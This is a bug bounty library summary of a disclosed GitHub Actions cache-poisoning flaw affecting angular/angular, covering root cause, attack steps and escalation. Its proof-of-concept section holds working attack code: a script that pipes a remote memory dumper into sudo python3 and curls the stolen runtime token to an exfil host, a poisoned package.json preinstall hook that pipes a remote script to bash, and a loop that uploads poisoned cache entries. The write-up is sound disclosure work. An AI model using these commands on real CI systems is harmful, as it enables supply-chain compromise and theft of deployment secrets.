# The Monsters in Your Build Cache - GitHub Actions Cache Poisoning

GitHub Actions cache entries are client-keyed and blindly extracted, letting anyone with main-branch code exec poison caches to overwrite arbitrary files in privileged workflows.

- Payout: $1,000
- Severity: high
- Program: Google
- Found by: Adnan Khan
- Disclosed: 2024-05-06
- Write-up quality: 9/10
- Original: https://adnanthekhan.com/2024/05/06/the-monsters-in-your-build-cache-github-actions-cache-poisoning/
- Library page: https://bugbountylibrary.com/r/blog%3Aadnanthekhan-com-2024-05-06-the-monsters-in-your-build-cache-github-actions-cache-poisoning
- Tags: area:oss domain:oss impact:integrity impact:privesc kind:bounty platform:blog sev:high tech:github-actions technique:race-window technique:source-review vuln:cache-poisoning

**Target:** GitHub Actions cache (actions/cache, actions/toolkit) in angular/angular and other repos
**Root cause:** Cache key/version are computed client-side and not validated server-side, and actions/toolkit's restoreCache blindly extracts the archive without restricting extraction to the configured paths, so a poisoned entry can overwrite any file in the working directory.
**Steps:**
1. Gain code exec in a main-branch workflow (e.g. pull_request_target Pwn Request with read-only GITHUB_TOKEN).
2. Dump runner memory to steal `AccessToken` (ACTIONS_RUNTIME_TOKEN) and `CacheServerUrl` via memdump.py.
3. Enumerate target cache keys/versions: `GET https://api.github.com/repos/<org>/<repo>/actions/caches?ref=refs/heads/main`.
4. Fill the 10GB repo cache with ~30GB of random files using the stolen token to force LRU eviction of target entries.
5. Build a tzstd/tar payload overwriting e.g. `package.json` with a `preinstall` curl payload, or a reusable action's `action.yml`/`index.js`.
6. Loop `CacheUpload.py --file-path poisoned_cache.tzstd --key <target_key> --version <target_version> --auth-token $CAPTURED_TOKEN --cache-url $CAPTURED_URL` every minute for hours to win the race after eviction.
7. Wait for privileged workflow cache hit; payload executes and exfiltrates secrets to C2.
**How found:** While building a Pwn Request scanner, a 'false positive' workflow ran user code with only read-only GITHUB_TOKEN and no secrets. Suspecting it was still exploitable, author set up a self-hosted runner behind Burp, reimplemented the cache save/restore flow in Python, and noticed key/version are client-set and archives are blindly extracted.
**Exploitation:** Attacker with code exec in a locked-down main-branch workflow steals the 6-hour-valid runtime token, stuffs the repo cache past 10GB to trigger eviction, then races to re-upload poisoned entries under the victim's key/version. On next cache hit the archive is blindly extracted, overwriting package.json (preinstall hook) or reusable action files, yielding code exec in a privileged workflow and exfiltrating deployment secrets (e.g. angular.dev deploy keys).
**Escalation:** Pivots from a read-only Pwn Request workflow to release/deploy workflows using caching; can tamper a SLSA Level 3 build artifact that produces signed provenance, leaving no source-code trace.
**Insight:** Cache key/version are client-controlled and extraction is path-unrestricted: any code exec on the default branch can poison caches consumed by unrelated privileged workflows. Enumerate cache keys via the public actions/caches API and abuse the 10GB LRU eviction to force re-creation of stale entries.

## Proof of concept (copied exactly from the original report)

**Memory dump script exfiltrating cache token**

```
YOUR_EXFIL="your-exfil-url.com"
BLOB=`curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3 | tr -d '\0' | grep -aoE '"[^"]+":\{"AccessToken":"[^"]*"\}' | sort -u`
BLOB2=`curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3 | tr -d '\0' | grep -aoE '"[^"]+":\{"CacheServerUrl":"[^"]*"\}' | sort -u`
curl -s -d "$BLOB $BLOB2" https://$YOUR_EXFIL/token > /dev/null
```

**Poisoned package.json with preinstall exfil payload**

```
"scripts": {
 "/": "",
 "// 1": "Many of our checks/scripts/tools have moved to our ng-dev tool",
 "// 2": "Find the usage you are looking for with:",
 "// 3": "yarn ng-dev --help",
 "/ ": "",
 "preinstall": "curl -sSfL https://gist.githubusercontent.com/umbr4g3/4fc182f6af6a6bfcda0bdc19e5b2e10d/raw/5a555639a4c36b9158564d4f80794ff603e02969/test1.sh | bash",
```

**Loop uploading poisoned cache entries every minute**

```
#!/bin/bash

for i in {1..240}
do
 python3 CacheUpload.py --file-path poisoned_cache.tzstd --key <target_key> --version <target_version> --auth-token $CAPTURED_TOKEN --cache-url $CAPTURED_URL
 # Insert lines as necessary.
 sleep 60s
done
```

